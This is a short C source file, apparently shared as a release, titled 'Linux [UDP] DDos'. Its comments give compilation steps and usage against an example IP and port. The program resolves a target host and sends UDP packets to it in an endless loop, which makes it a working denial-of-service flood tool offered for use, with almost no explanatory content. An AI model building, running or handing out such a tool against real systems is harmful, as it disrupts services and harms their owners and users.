Linux [UDP] DDos

[carlssson]

/*
 compilation : gcc udp.c -o nom
 utilisation  ( use ): ./nom ip port
 exemple d'utilisation ( example of use ): ./udp 80.70.60.50 80
 fonctionne sous linux ( works ): Debian, sunOS, BSD, kernel 2.2x avec gcc 4.x ou plus
 RELEASE BY ІDSK ™ // rut0r // If you add an update thank you for giving me this please // ENJOY
*/

#define UDP_STRING "gogogo"
#define UDP_SIZE 9

#include <stdio.h>
#include <sys/param.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdarg.h>
#include <string.h>
#include <stdlib.h>

int connection(char *, short);

int connection(char *serveur, short port)
{
   struct sockaddr_in udp;
   struct hostent *bbs;
   int initsocket;
   bbs = gethostbyname(serveur);
   if (bbs==NULL) {
      printf("host inconnu: %s\n",serveur);
      exit(0);
   }
   printf("Innondation de paquet UDP sur %s:%d\n ", serveur, port);
   bzero((char*) &udp,sizeof(udp));
   bcopy(bbs->h_addr, (char *) &udp.sin_addr, bbs->h_length);
   udp.sin_family = bbs->h_addrtype;
   udp.sin_port = htons(port);
   initsocket = socket(AF_INET, SOCK_DGRAM, 0);
   connect(initsocket,(struct sockaddr *) &udp, sizeof(udp));
   return initsocket;
}


main(int argc, char **argv)
{
   int i;
   if(argc != 3)
   {
      fprintf(stderr, "Utilisation: %s ip port\n",argv[0]);
      exit(0);
   }
   i=connection(argv[1], atoi(argv[2]));
   for(;;)
   {
      send(i, UDP_STRING, UDP_SIZE, 0);
   }
}